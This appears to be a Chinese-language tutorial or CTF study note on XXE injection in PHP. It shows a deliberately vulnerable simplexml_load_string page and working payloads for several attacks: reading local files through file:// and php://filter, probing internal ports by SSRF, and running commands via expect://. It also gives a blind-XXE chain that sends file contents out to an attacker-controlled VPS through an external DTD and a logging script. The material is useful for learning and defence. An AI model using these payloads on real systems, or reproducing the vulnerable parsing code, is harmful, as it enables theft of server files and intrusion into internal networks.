漏洞描述
XML文件的解析依赖libxml库,而libxml2.9以前的版本默认支持并开启了外部实体的引用,服务端解析用户提交的xml文件时未对xml文件引用的外部实体(含外部普通实体和外部参数实体)做合适的处理,并且实体的URL支持file://和PHP://等协议,攻击者可以在xml文件中声明URI指向服务器本地的实体造成攻击。
形成原因
解析xml文件时允许加载外部实体,没有过滤用户提交的参数 。
漏洞利用
读取本地文件
以php环境为例,index.php内容如下:1
2
3
4<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取h盘里的sky.txt。1
2
3<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///h://sky.txt">]>
<root>&file;</root>
将上述xml进行url编码后传进去,可以发现读取了sky.txt中的内容。
注:
如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。1
2
3<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>&file;</root>
同样先经过url编码后再传入。
内网探测/SSRF
由于xml实体注入攻击可以利用http://
协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
探测内网端口1
2
3
4
5
6
7<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
攻击内网网站1
2
3
4
5
6
7<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
命令执行
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令1
2
3
4
5
6
7<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
bind xxe
对于无回显的xml注入:
在你的vps上放1.xml文件,内容如下:1
2<!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % all "<!ENTITY % s SYSTEM 'http://你的vps/xxe.php?f=%f;'>">
再在你的vps上放xxe.php,内容如下:1
2
3
file_put_contents("/tmp/1.txt", $_GET['f']);
最后在可以写xml的页面写如下:1
2
3
4
5
6<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/1.xml">
%r;
%all;
%s;
]>
访问1.txt就可以获得flag的内容